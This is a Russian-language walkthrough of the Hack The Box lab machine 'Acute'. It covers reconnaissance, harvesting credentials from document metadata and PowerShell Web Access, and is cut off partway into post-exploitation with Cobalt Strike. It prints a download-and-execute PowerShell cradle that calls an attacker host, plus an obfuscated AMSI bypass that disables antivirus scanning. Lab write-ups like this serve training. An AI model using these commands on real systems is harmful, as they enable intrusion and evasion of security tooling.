Содержание статьи
Проходить мы будем машину Acute с площадки Hack The Box. Уровень сложности — hard.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.145 acute.htb
И запускаем сканирование портов.
По результатам сканирования имеем всего один открытый порт — 443, стандартный для веб‑сервера. Поскольку на нем используется SSL, мы можем посмотреть сертификат и в поле commonName
находим домен, для которого он действителен. Nmap автоматически отображает это поле в результате сканирования. Новый домен тоже добавим в /
.
10.10.11.145 acute.htb atsserver.acute.local
Идем осматривать сайт. Ссылок на нем маловато, но одна из них ведет на документ.
Скачаем док для анализа: в нем может быть интересная информация.
Точка входа
В документе находим какой‑то дефолтный пароль. Такие вещи всегда стоит отмечать — при прохождении лабораторок они по закону жанра обязаны еще выстрелить.
Также находим упоминание работы, а чуть дальше и ссылку на PSWA (PowerShell Web Access). Эта функция позволяет удаленно управлять сервером с помощью PowerShell через обычный браузер. Доменное имя из ссылки добавим в файл /
.
10.10.11.145 acute.htb atsserver.acute.local
Переходим по найденной ссылке, и нам открывается панель авторизации PSWA.
У нас есть пароль, осталось найти имена пользователя и машины.
Точка опоры
Файлы вроде офисных документов очень полезны при разведке. Их метаданные могут содержать, к примеру, имя пользователя и название машины. Поэтому первым делом получим метаданные скачанного файла с помощью Exiftool.
Из поля Creator
получаем имя пользователя, а поле Description
раскрывает имя машины. Но с этими учетными данными подключиться не получилось, поэтому я пошел искать на сайте другие подсказки. И нашел... имена пользователей.
Формируем список по уже имеющемуся у нас формату.
И с найденным паролем на обозначенной машине мы получаем командную веб‑оболочку PoweShell от имени пользователя edavies
.
Для дальнейшей эксплуатации и продвижения я решил использовать популярный фреймворк Cobalt Strike. Первым делом создадим листенер.
Для удобной доставки нагрузки будем использовать скрипт на PowerShell, расположенный на локальном веб‑сервере.
После настройки нам даже дадут команду, которую необходимо ввести на целевой системе.
powershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring(http://10.10.14.26:80/info))"
Но нас останавливает антивирус, который триггернул из‑за AMSI.
Но мы можем запатчить AMSI, чтобы используемый нами код не уходил на проверку. Метод заключается в изменении адресов заголовков amsiContext
(контекст, в котором происходит сканирование): зануляем указатель.
[Ref].Assembly.GetType(System.Management.Automation.+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(QQBtAHMAaQBVAHQAaQBsAHMA)))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA==))),NonPublic,Static).SetValue($null,$true)
И после повторного запуска нагрузки получаем активную сессию в нашем фреймворке.
Продвижение
Получив контроль над хостом, я сразу просмотрел запущенные процессы и сессии активных пользователей.
Видим запущенные процессы powershell.
в первой сессии. Это значит, что пользователь авторизован и выполняет определенные задачи. Чтобы получить доступ к окружению сессии, нам нужен контроль над ней. Другими словами, наш агент должен работать в той же сессии.
Скачать:
Скриншоты:
Важно:
Все статьи и материал на сайте размещаются из свободных источников. Приносим свои глубочайшие извинения, если Ваша статья или материал была опубликована без Вашего на то согласия.
Напишите нам, и мы в срочном порядке примем меры.